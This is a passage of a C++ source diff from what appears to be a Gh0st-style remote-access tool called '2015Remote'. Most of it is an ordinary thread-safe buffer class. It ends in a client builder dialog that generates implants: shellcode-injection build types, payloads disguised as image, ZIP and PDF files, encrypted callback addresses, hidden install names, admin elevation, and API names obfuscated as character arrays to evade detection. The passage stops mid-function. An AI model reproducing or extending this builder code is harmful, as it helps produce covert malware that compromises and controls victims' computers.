||||
ULONG CBuffer::RemoveCompletedBuffer(ULONG ulLength)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 有效数据长度(考虑已读取偏移)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
|
||||
if (ulLength > effectiveDataLen) { // 请求长度比有效数据长度还大
|
||||
ulLength = effectiveDataLen;
|
||||
}
|
||||
|
||||
if (ulLength) {
|
||||
// 使用延迟移动策略:只更新读取偏移,不立即移动数据
|
||||
m_ulReadOffset += ulLength;
|
||||
|
||||
// 当已读取数据超过阈值时才进行压缩
|
||||
if (m_ulReadOffset > m_ulMaxLength * COMPACT_THRESHOLD) {
|
||||
CompactBuffer();
|
||||
}
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
// 压缩缓冲区,移除已读取的数据
|
||||
VOID CBuffer::CompactBuffer()
|
||||
{
|
||||
// 此函数应在持有锁的情况下调用
|
||||
if (m_ulReadOffset > 0 && m_Base) {
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
// 防止下溢:确保 remainingData 不为负
|
||||
ULONG remainingData = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
if (remainingData > 0) {
|
||||
MoveMemory(m_Base, m_Base + m_ulReadOffset, remainingData);
|
||||
}
|
||||
m_Ptr = m_Base + remainingData;
|
||||
m_ulReadOffset = 0;
|
||||
|
||||
// 尝试缩减缓冲区
|
||||
DeAllocateBuffer(remainingData);
|
||||
}
|
||||
}
|
||||
|
||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 计算有效数据长度(考虑读取偏移,防止下溢)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
|
||||
if (ulLength > effectiveDataLen) {
|
||||
ulLength = effectiveDataLen;
|
||||
}
|
||||
|
||||
if (ulLength) {
|
||||
// 从当前读取位置拷贝数据
|
||||
CopyMemory(Buffer, m_Base + m_ulReadOffset, ulLength);
|
||||
|
||||
// 更新读取偏移而不是移动数据
|
||||
m_ulReadOffset += ulLength;
|
||||
|
||||
// 当已读取数据超过阈值时才进行压缩
|
||||
if (m_ulReadOffset > m_ulMaxLength * COMPACT_THRESHOLD) {
|
||||
CompactBuffer();
|
||||
}
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return ulLength;
|
||||
}
|
||||
|
||||
// 私有: 缩减缓存
|
||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < (m_Ptr - m_Base))
|
||||
return 0;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
|
||||
if (m_ulMaxLength <= ulNewMaxLength) {
|
||||
return 0;
|
||||
}
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
|
||||
ULONG ulv1 = m_Ptr - m_Base; //从原来内存中的有效数据
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
|
||||
m_Base = NewBase;
|
||||
|
||||
m_Ptr = m_Base + ulv1;
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength;
|
||||
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
|
||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
if (ReAllocateBuffer(ulLength + (m_Ptr - m_Base)) == -1) { //10 +1 1024
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return false;
|
||||
}
|
||||
|
||||
CopyMemory(m_Ptr,Buffer,ulLength);
|
||||
|
||||
m_Ptr+=ulLength;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 私有: 扩展缓存
|
||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength)
|
||||
{
|
||||
if (ulLength < m_ulMaxLength)
|
||||
return 0;
|
||||
|
||||
ULONG ulNewMaxLength = (ULONG)ceil(ulLength / F_PAGE_ALIGNMENT) * U_PAGE_ALIGNMENT;
|
||||
PBYTE NewBase = (PBYTE) VirtualAlloc(NULL,ulNewMaxLength,MEM_COMMIT,PAGE_READWRITE);
|
||||
if (NewBase == NULL) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
ULONG ulv1 = m_Ptr - m_Base; //原先的有效数据长度
|
||||
|
||||
CopyMemory(NewBase,m_Base,ulv1);
|
||||
|
||||
if (m_Base) {
|
||||
VirtualFree(m_Base,0,MEM_RELEASE);
|
||||
}
|
||||
m_Base = NewBase;
|
||||
m_Ptr = m_Base + ulv1; //1024
|
||||
|
||||
m_ulMaxLength = ulNewMaxLength; //2048
|
||||
|
||||
return m_ulMaxLength;
|
||||
}
|
||||
|
||||
VOID CBuffer::ClearBuffer()
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_Ptr = m_Base;
|
||||
m_ulReadOffset = 0; // 重置读取偏移
|
||||
|
||||
DeAllocateBuffer(1024);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
|
||||
ULONG CBuffer::GetBufferLength() // 返回有效数据长度
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
if (m_Base == NULL) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return 0;
|
||||
}
|
||||
// 有效数据长度需要减去已读取的偏移量(防止下溢)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG len = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return len;
|
||||
}
|
||||
|
||||
std::string CBuffer::Skip(ULONG ulPos)
|
||||
{
|
||||
if (ulPos == 0)
|
||||
return "";
|
||||
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 计算有效数据长度(防止下溢)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
|
||||
// 边界检查:确保不会越界读取
|
||||
if (ulPos > effectiveDataLen) {
|
||||
ulPos = effectiveDataLen;
|
||||
}
|
||||
|
||||
// 从当前读取位置开始跳过
|
||||
std::string ret((char*)(m_Base + m_ulReadOffset), (char*)(m_Base + m_ulReadOffset + ulPos));
|
||||
|
||||
// 使用延迟移动策略
|
||||
m_ulReadOffset += ulPos;
|
||||
|
||||
// 当已读取数据超过阈值时才进行压缩
|
||||
if (m_ulReadOffset > m_ulMaxLength * COMPACT_THRESHOLD) {
|
||||
CompactBuffer();
|
||||
}
|
||||
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return ret;
|
||||
}
|
||||
|
||||
// 此函数是多线程安全的. 只能远程调用使用它.
|
||||
LPBYTE CBuffer::GetBuffer(ULONG ulPos)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// 计算有效数据长度(防止下溢)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
if (m_Base == NULL || ulPos >= effectiveDataLen) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return NULL;
|
||||
}
|
||||
// 返回相对于当前读取位置的指针
|
||||
LPBYTE result = m_Base + m_ulReadOffset + ulPos;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// 此函数是多线程安全的. 获取缓存,得到Buffer对象.
|
||||
Buffer CBuffer::GetMyBuffer(ULONG ulPos)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// 计算有效数据长度(防止下溢)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
if (m_Base == NULL || ulPos >= effectiveDataLen) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return Buffer();
|
||||
}
|
||||
Buffer result = Buffer(m_Base + m_ulReadOffset + ulPos, effectiveDataLen - ulPos);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// 此函数是多线程安全的. 获取缓存指定位置处的字节值.
|
||||
BYTE CBuffer::GetBYTE(ULONG ulPos)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// 计算有效数据长度(防止下溢)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
if (m_Base == NULL || ulPos >= effectiveDataLen) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return 0;
|
||||
}
|
||||
BYTE p = *(m_Base + m_ulReadOffset + ulPos);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return p;
|
||||
}
|
||||
|
||||
// 此函数是多线程安全的. 将缓存拷贝到目标内存中.
|
||||
BOOL CBuffer::CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
// 计算有效数据长度(防止下溢)
|
||||
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||
ULONG effectiveDataLen = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||
if (m_Base == NULL || pDst == NULL || ulPos >= effectiveDataLen || (effectiveDataLen - ulPos) < nLen) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(pDst, m_Base + m_ulReadOffset + ulPos, nLen);
|
||||
LeaveCriticalSection(&m_cs);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// 获取可直接写入的缓冲区指针,用于零拷贝接收
|
||||
LPBYTE CBuffer::GetWriteBuffer(ULONG requiredSize, ULONG& availableSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
|
||||
// 先压缩缓冲区以获得更多空间
|
||||
if (m_ulReadOffset > 0) {
|
||||
CompactBuffer();
|
||||
}
|
||||
|
||||
// 确保有足够空间
|
||||
ULONG currentDataLen = m_Ptr - m_Base;
|
||||
if (ReAllocateBuffer(currentDataLen + requiredSize) == (ULONG)-1) {
|
||||
LeaveCriticalSection(&m_cs);
|
||||
availableSize = 0;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
availableSize = m_ulMaxLength - currentDataLen;
|
||||
LPBYTE result = m_Ptr;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// 确认写入完成,更新内部指针
|
||||
VOID CBuffer::CommitWrite(ULONG writtenSize)
|
||||
{
|
||||
EnterCriticalSection(&m_cs);
|
||||
m_Ptr += writtenSize;
|
||||
LeaveCriticalSection(&m_cs);
|
||||
}
|
||||
142
server/2015Remote/Buffer.h
Normal file
142
server/2015Remote/Buffer.h
Normal file
@@ -0,0 +1,142 @@
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
|
||||
// Buffer 带引用计数的缓存.
|
||||
class Buffer
|
||||
{
|
||||
private:
|
||||
PBYTE buf;
|
||||
ULONG len;
|
||||
ULONG padding;
|
||||
std::string md5;
|
||||
ULONG *ref;
|
||||
void AddRef()
|
||||
{
|
||||
(*ref)++;
|
||||
}
|
||||
void DelRef()
|
||||
{
|
||||
(*ref)--;
|
||||
}
|
||||
public:
|
||||
LPBYTE &Buf()
|
||||
{
|
||||
return buf;
|
||||
}
|
||||
~Buffer()
|
||||
{
|
||||
DelRef();
|
||||
if (*ref == 0) {
|
||||
if (buf!=NULL) {
|
||||
delete[] buf;
|
||||
buf = NULL;
|
||||
}
|
||||
delete ref;
|
||||
ref = NULL;
|
||||
}
|
||||
}
|
||||
Buffer():buf(NULL), len(0), ref(new ULONG(1)), padding(0)
|
||||
{
|
||||
|
||||
}
|
||||
Buffer(const BYTE * b, int n, int padding=0, const std::string& md5="") :
|
||||
len(n), ref(new ULONG(1)), padding(padding), md5(md5)
|
||||
{
|
||||
buf = new BYTE[n];
|
||||
memcpy(buf, b, n);
|
||||
}
|
||||
Buffer(Buffer& o)
|
||||
{
|
||||
o.AddRef();
|
||||
buf = o.buf;
|
||||
len = o.len;
|
||||
ref = o.ref;
|
||||
}
|
||||
Buffer operator =(Buffer &o)
|
||||
{
|
||||
o.AddRef();
|
||||
buf = o.buf;
|
||||
len = o.len;
|
||||
ref = o.ref;
|
||||
return *this;
|
||||
}
|
||||
char* c_str() const
|
||||
{
|
||||
return (char*)buf;
|
||||
}
|
||||
ULONG length(bool noPadding=false)const
|
||||
{
|
||||
return noPadding ? len - padding : len;
|
||||
}
|
||||
std::string MD5() const
|
||||
{
|
||||
return md5;
|
||||
}
|
||||
BYTE GetBYTE(int idx=0) const
|
||||
{
|
||||
return idx >= len ? 0 : buf[idx];
|
||||
}
|
||||
LPBYTE GetBuffer(int idx=0) const
|
||||
{
|
||||
return idx >= len ? 0 : buf + idx;
|
||||
}
|
||||
int GetBufferLength() const
|
||||
{
|
||||
return len;
|
||||
}
|
||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos=0)
|
||||
{
|
||||
if (len - ulPos < nLen) {
|
||||
return FALSE;
|
||||
}
|
||||
memcpy(pDst, buf + ulPos, nLen);
|
||||
return TRUE;
|
||||
}
|
||||
};
|
||||
|
||||
class CBuffer
|
||||
{
|
||||
public:
|
||||
CBuffer(void);
|
||||
~CBuffer(void);
|
||||
|
||||
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
ULONG GetBufferLength(); // 返回有效数据长度
|
||||
ULONG GetBufferLen()
|
||||
{
|
||||
return GetBufferLength();
|
||||
}
|
||||
VOID ClearBuffer();
|
||||
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||
BOOL Write(PBYTE Buffer, ULONG ulLength)
|
||||
{
|
||||
return WriteBuffer(Buffer, ulLength);
|
||||
}
|
||||
BOOL WriteBuffer(CBuffer& buf)
|
||||
{
|
||||
return WriteBuffer(buf.GetBuffer(), buf.GetBufferLen());
|
||||
}
|
||||
LPBYTE GetBuffer(ULONG ulPos=0);
|
||||
Buffer GetMyBuffer(ULONG ulPos=0);
|
||||
BYTE GetBYTE(ULONG ulPos);
|
||||
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
|
||||
ULONG RemoveCompletedBuffer(ULONG ulLength);
|
||||
std::string Skip(ULONG ulPos);
|
||||
|
||||
// 获取可直接写入的缓冲区指针,用于零拷贝接收
|
||||
// 返回可写入的起始地址,availableSize 返回可用空间大小
|
||||
LPBYTE GetWriteBuffer(ULONG requiredSize, ULONG& availableSize);
|
||||
// 确认写入完成,更新内部指针
|
||||
VOID CommitWrite(ULONG writtenSize);
|
||||
|
||||
protected:
|
||||
PBYTE m_Base;
|
||||
PBYTE m_Ptr;
|
||||
ULONG m_ulMaxLength;
|
||||
ULONG m_ulReadOffset; // 读取偏移,用于延迟数据移动
|
||||
CRITICAL_SECTION m_cs;
|
||||
ULONG DeAllocateBuffer(ULONG ulLength); // 私有
|
||||
ULONG ReAllocateBuffer(ULONG ulLength); // 私有
|
||||
VOID CompactBuffer(); // 压缩缓冲区,移除已读取数据
|
||||
};
|
||||
994
server/2015Remote/BuildDlg.cpp
Normal file
994
server/2015Remote/BuildDlg.cpp
Normal file
@@ -0,0 +1,994 @@
|
||||
// BuildDlg.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "BuildDlg.h"
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <io.h>
|
||||
#include "InputDlg.h"
|
||||
#include <bcrypt.h>
|
||||
#include <wincrypt.h>
|
||||
#include "Resource.h"
|
||||
extern "C" {
|
||||
#include "client/reg_startup.h"
|
||||
}
|
||||
// #include <ntstatus.h>
|
||||
|
||||
enum Index {
|
||||
IndexTestRun_DLL,
|
||||
IndexTestRun_MemDLL,
|
||||
IndexTestRun_InjSC,
|
||||
IndexGhost,
|
||||
IndexServerDll,
|
||||
IndexTinyRun,
|
||||
IndexGhostMsc,
|
||||
IndexTestRunMsc,
|
||||
IndexLinuxGhost,
|
||||
OTHER_ITEM
|
||||
};
|
||||
|
||||
enum Payload {
|
||||
Payload_Self,
|
||||
Payload_Raw,
|
||||
Payload_BMP,
|
||||
Payload_JPG,
|
||||
Payload_PNG,
|
||||
Payload_ZIP,
|
||||
Payload_PDF,
|
||||
};
|
||||
|
||||
// CBuildDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
||||
|
||||
std::string GetMasterId();
|
||||
|
||||
std::string GetPwdHash();
|
||||
|
||||
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
||||
|
||||
LPBYTE ReadResource(int resourceId, DWORD &dwSize)
|
||||
{
|
||||
dwSize = 0;
|
||||
auto id = resourceId;
|
||||
HRSRC hResource = FindResourceA(NULL, MAKEINTRESOURCE(id), "BINARY");
|
||||
if (hResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// 获取资源的大小
|
||||
dwSize = SizeofResource(NULL, hResource);
|
||||
|
||||
// 加载资源
|
||||
HGLOBAL hLoadedResource = LoadResource(NULL, hResource);
|
||||
if (hLoadedResource == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
// 锁定资源并获取指向资源数据的指针
|
||||
LPVOID pData = LockResource(hLoadedResource);
|
||||
if (pData == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
auto r = new BYTE[dwSize];
|
||||
memcpy(r, pData, dwSize);
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
|
||||
CString GenerateRandomName(int nLength)
|
||||
{
|
||||
if (nLength <= 0) nLength = 8;
|
||||
|
||||
static const TCHAR szChars[] = _T("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789");
|
||||
static const int nCharsCount = _countof(szChars) - 1;
|
||||
|
||||
static bool bSeeded = false;
|
||||
if (!bSeeded) {
|
||||
srand((unsigned)time(NULL));
|
||||
bSeeded = true;
|
||||
}
|
||||
|
||||
CString strName;
|
||||
LPTSTR pBuf = strName.GetBuffer(nLength);
|
||||
|
||||
for (int i = 0; i < nLength; i++) {
|
||||
pBuf[i] = szChars[rand() % nCharsCount];
|
||||
}
|
||||
|
||||
strName.ReleaseBuffer(nLength);
|
||||
return strName;
|
||||
}
|
||||
|
||||
CBuildDlg::CBuildDlg(CWnd* pParent)
|
||||
: CDialogLang(CBuildDlg::IDD, pParent)
|
||||
, m_strIP(_T(""))
|
||||
, m_strPort(_T(""))
|
||||
, m_strFindden(FLAG_FINDEN)
|
||||
, m_sGroupName(_T("default"))
|
||||
, m_strEncryptIP(_T("是"))
|
||||
, m_sInstallDir(_T(""))
|
||||
, m_sInstallName(_T(""))
|
||||
, m_sDownloadUrl(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CBuildDlg::~CBuildDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
||||
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
||||
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
||||
DDX_Control(pDX, IDC_STATIC_OTHER_ITEM, m_OtherItem);
|
||||
DDX_Control(pDX, IDC_COMBO_BITS, m_ComboBits);
|
||||
DDX_Control(pDX, IDC_COMBO_RUNTYPE, m_ComboRunType);
|
||||
DDX_Control(pDX, IDC_COMBO_PROTO, m_ComboProto);
|
||||
DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
|
||||
DDX_Control(pDX, IDC_COMBO_COMPRESS, m_ComboCompress);
|
||||
DDX_Control(pDX, IDC_EDIT_GROUPNAME, m_EditGroup);
|
||||
DDX_Text(pDX, IDC_EDIT_GROUPNAME, m_sGroupName);
|
||||
DDV_MaxChars(pDX, m_sGroupName, 23);
|
||||
DDX_Control(pDX, IDC_COMBO_PAYLOAD, m_ComboPayload);
|
||||
DDX_Control(pDX, IDC_STATIC_PAYLOAD, m_StaticPayload);
|
||||
DDX_Control(pDX, IDC_SLIDER_CLIENT_SIZE, m_SliderClientSize);
|
||||
DDX_Control(pDX, IDC_EDIT_INSTALL_DIR, m_EditInstallDir);
|
||||
DDX_Control(pDX, IDC_EDIT_INSTALL_NAME, m_EditInstallName);
|
||||
DDX_Text(pDX, IDC_EDIT_INSTALL_DIR, m_sInstallDir);
|
||||
DDV_MaxChars(pDX, m_sInstallDir, 31);
|
||||
DDX_Text(pDX, IDC_EDIT_INSTALL_NAME, m_sInstallName);
|
||||
DDV_MaxChars(pDX, m_sInstallName, 31);
|
||||
DDX_Control(pDX, IDC_CHECK_FILESERVER, m_BtnFileServer);
|
||||
DDX_Control(pDX, IDC_STATIC_DOWNLOAD, m_StaticDownload);
|
||||
DDX_Control(pDX, IDC_EDIT_DOWNLOAD_URL, m_EditDownloadUrl);
|
||||
DDX_Text(pDX, IDC_EDIT_DOWNLOAD_URL, m_sDownloadUrl);
|
||||
DDV_MaxChars(pDX, m_sDownloadUrl, 255);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
||||
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_EXE, &CBuildDlg::OnCbnSelchangeComboExe)
|
||||
ON_COMMAND(ID_HELP_PARAMETERS, &CBuildDlg::OnHelpParameters)
|
||||
ON_COMMAND(ID_HELP_FINDDEN, &CBuildDlg::OnHelpFindden)
|
||||
ON_COMMAND(ID_MENU_ENCRYPT_IP, &CBuildDlg::OnMenuEncryptIp)
|
||||
ON_COMMAND(ID_CLIENT_RUNAS_ADMIN, &CBuildDlg::OnClientRunasAdmin)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_COMPRESS, &CBuildDlg::OnCbnSelchangeComboCompress)
|
||||
ON_NOTIFY_EX(TTN_NEEDTEXT, 0, &CBuildDlg::OnToolTipNotify)
|
||||
ON_EN_CHANGE(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnChangeEditInstallDir)
|
||||
ON_EN_CHANGE(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnChangeEditInstallName)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_DIR, &CBuildDlg::OnEnKillfocusEditInstallDir)
|
||||
ON_EN_KILLFOCUS(IDC_EDIT_INSTALL_NAME, &CBuildDlg::OnEnKillfocusEditInstallName)
|
||||
ON_COMMAND(ID_RANDOM_NAME, &CBuildDlg::OnRandomName)
|
||||
ON_BN_CLICKED(IDC_CHECK_FILESERVER, &CBuildDlg::OnBnClickedCheckFileserver)
|
||||
ON_CBN_SELCHANGE(IDC_COMBO_PAYLOAD, &CBuildDlg::OnCbnSelchangeComboPayload)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CBuildDlg 消息处理程序
|
||||
|
||||
std::string ReleaseUPX();
|
||||
void run_upx_async(HWND hwnd, const std::string& upx, const std::string& file, bool isCompress);
|
||||
|
||||
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer,
|
||||
int ulOriginalLength, bool align = false);
|
||||
|
||||
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset = 0);
|
||||
|
||||
std::string ReleaseEXE(int resID, const char* name)
|
||||
{
|
||||
DWORD dwSize = 0;
|
||||
LPBYTE data = ReadResource(resID, dwSize);
|
||||
if (!data)
|
||||
return "";
|
||||
|
||||
char path[MAX_PATH];
|
||||
DWORD len = GetModuleFileNameA(NULL, path, MAX_PATH);
|
||||
std::string curExe = path;
|
||||
GET_FILEPATH(path, name);
|
||||
BOOL r = WriteBinaryToFile(path, (char*)data, dwSize);
|
||||
SAFE_DELETE_ARRAY(data);
|
||||
|
||||
return r ? path : "";
|
||||
}
|
||||
|
||||
typedef struct SCInfoOld {
|
||||
unsigned char aes_key[16];
|
||||
unsigned char aes_iv[16];
|
||||
unsigned char data[8 * 1024 * 1024];
|
||||
int len;
|
||||
} SCInfoOld;
|
||||
|
||||
typedef struct SCInfo {
|
||||
unsigned char aes_key[16];
|
||||
unsigned char aes_iv[16];
|
||||
unsigned char *data;
|
||||
int len;
|
||||
int offset;
|
||||
char file[_MAX_PATH];
|
||||
char targetDir[_MAX_PATH];
|
||||
char downloadUrl[_MAX_PATH];
|
||||
} SCInfo;
|
||||
|
||||
#define GetAddr(mod, name) GetProcAddress(GetModuleHandleA(mod), name)
|
||||
|
||||
bool MYLoadLibrary(const char* name)
|
||||
{
|
||||
char kernel[] = { 'k','e','r','n','e','l','3','2',0 };
|
||||
char load[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
|
||||
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
|
||||
if (!GetModuleHandleA(name)) {
|
||||
LoadLibraryF LoadLibraryA = (LoadLibraryF)GetAddr(kernel, load);
|
||||
return LoadLibraryA(name);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void generate_random_iv(unsigned char* iv, size_t len)
|
||||
{
|
||||
typedef HMODULE(WINAPI* LoadLibraryF)(LPCSTR lpLibFileName);
|
||||
typedef NTSTATUS(WINAPI* BCryptGenRandomF)(BCRYPT_ALG_HANDLE, PUCHAR, ULONG, ULONG);
|
||||
char crypt[] = { 'b','c','r','y','p','t',0 };
|
||||
char name[] = { 'B','C','r','y','p','t','G','e','n','R','a','n','d','o','m',0 };
|
||||
MYLoadLibrary(crypt);
|
||||
BCryptGenRandomF BCryptGenRandom = (BCryptGenRandomF)GetAddr(crypt, name);
|
||||
BCryptGenRandom(NULL, iv, len, BCRYPT_USE_SYSTEM_PREFERRED_RNG);
|
||||
}
|
||||
|
||||
ULONGLONG GetFileSize(const char* path)
|
||||
{
|
||||
std::ifstream file(path, std::ios::binary | std::ios::ate);
|
||||
|
||||
if (!file) {
|
||||
Mprintf("Failed to open file: %s.\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
ULONGLONG size = file.tellg();
|
||||
file.close();
|
||||
|
||||
return size;
|
||||
}
|
||||
|
||||
bool IsValidFileName(const CString& strName)
|
||||
{
|
||||
if (strName.IsEmpty()) return false;
|
||||
|
||||
// 检查非法字符
|
||||
LPCTSTR szInvalidChars = _T("\\/:*?\"<>|");
|
||||
if (strName.FindOneOf(szInvalidChars) != -1)
|
||||
return false;
|
||||
|
||||
// 检查保留名称 (CON, PRN, AUX, NUL, COM1-9, LPT1-9)
|
||||
CString strUpper = strName;
|
||||
strUpper.MakeUpper();
|
||||
int nDot = strUpper.Find(_T('.'));
|
||||
CString strBase = (nDot != -1) ? strUpper.Left(nDot) : strUpper;
|
||||
|
||||
LPCTSTR szReserved[] = {
|
||||
_T("CON"), _T("PRN"), _T("AUX"), _T("NUL"),
|
||||
_T("COM1"), _T("COM2"), _T("COM3"), _T("COM4"), _T("COM5"),
|
||||
_T("COM6"), _T("COM7"), _T("COM8"), _T("COM9"),
|
||||
_T("LPT1"), _T("LPT2"), _T("LPT3"), _T("LPT4"), _T("LPT5"),
|
||||
_T("LPT6"), _T("LPT7"), _T("LPT8"), _T("LPT9"), NULL
|
||||
};
|
||||
|
||||
for (int i = 0; szReserved[i]; i++) {
|
||||
if (strBase == szReserved[i])
|
||||
return false;
|
||||
}
|
||||
|
||||
// 不能以空格或点结尾
|
||||
TCHAR chLast = strName[strName.GetLength() - 1];
|
||||
if (chLast == _T(' ') || chLast == _T('.'))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
CString BuildPayloadUrl(const char* ip, const char* name)
|
||||
{
|
||||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", 8080);
|
||||
CString url = CString("http://") + CString(ip) + ":" + std::to_string(port).c_str() + CString("/payloads/") + name;
|
||||
return url;
|
||||
}
|
||||
|
||||
void CBuildDlg::OnBnClickedOk()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
if (m_strIP.IsEmpty() || atoi(m_strPort) <= 0)
|
||||
return;
|
||||
|
||||
BYTE* szBuffer = NULL;
|
||||
DWORD dwFileSize = 0;
|
||||
int index = m_ComboExe.GetCurSel(), typ=index;
|
||||
int is64bit = m_ComboBits.GetCurSel() == 0;
|
||||
if (index == IndexTestRun_InjSC && !is64bit) {
|
||||
MessageBoxL("Shellcode 只能向64位电脑注入,注入器也只能是64位!", "提示", MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
if (index == IndexLinuxGhost) {
|
||||
